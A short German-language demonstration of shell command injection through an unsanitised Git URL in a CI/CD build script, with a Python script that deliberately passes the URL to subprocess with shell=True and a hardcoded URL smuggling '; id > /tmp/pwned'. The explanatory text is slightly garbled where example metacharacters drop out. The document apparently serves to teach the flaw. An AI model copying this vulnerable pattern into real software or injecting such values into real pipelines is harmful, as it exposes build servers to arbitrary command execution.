
Demonstriert Befehlsinjektion über nicht bereinigte Git-URLs in CI/CD-Pipelines, einschließlich eines angreifbaren Build-Skripts und Exploit-Beispiels für eine kritische CVE.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Ein CI/CD-Pipeline-Skript verwendet nicht bereinigte, vom Benutzer bereitgestellte Git-Repository-URLs in einem Shell-Befehl. Ein Angreifer kann Shell-Befehle injizieren, indem er Sonderzeichen (z. B. , ) in die URL einfügt, was zur Ausführung beliebiger Befehle auf dem Build-Server führt.
;&&Führen Sie das verwundbare Skript aus:
python cicd_build.py
Es führt den injizierten id-Befehl aus und erstellt /tmp/pwned.